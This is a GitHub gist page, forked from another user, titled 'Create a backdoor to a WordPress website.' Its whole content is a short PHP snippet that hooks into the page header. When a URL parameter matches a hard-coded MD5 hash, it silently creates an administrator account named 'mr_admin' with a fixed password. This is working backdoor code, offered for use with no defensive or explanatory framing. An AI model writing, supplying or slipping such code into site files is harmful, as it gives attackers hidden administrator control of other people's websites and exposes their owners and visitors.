Skip to content

Instantly share code, notes, and snippets.

@Archie22is
Forked from jgalea/backdoor.php
Created October 28, 2016 12:23
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Archie22is/7ad1252bffbae7d0ceeac128bec2c374 to your computer and use it in GitHub Desktop.
Save Archie22is/7ad1252bffbae7d0ceeac128bec2c374 to your computer and use it in GitHub Desktop.
Create a backdoor to a WordPress website.
<?php
add_action( 'wp_head', 'my_backdoor' );
function my_backdoor() {
if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
require( 'wp-includes/registration.php' );
if ( !username_exists( 'mr_admin' ) ) {
$user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment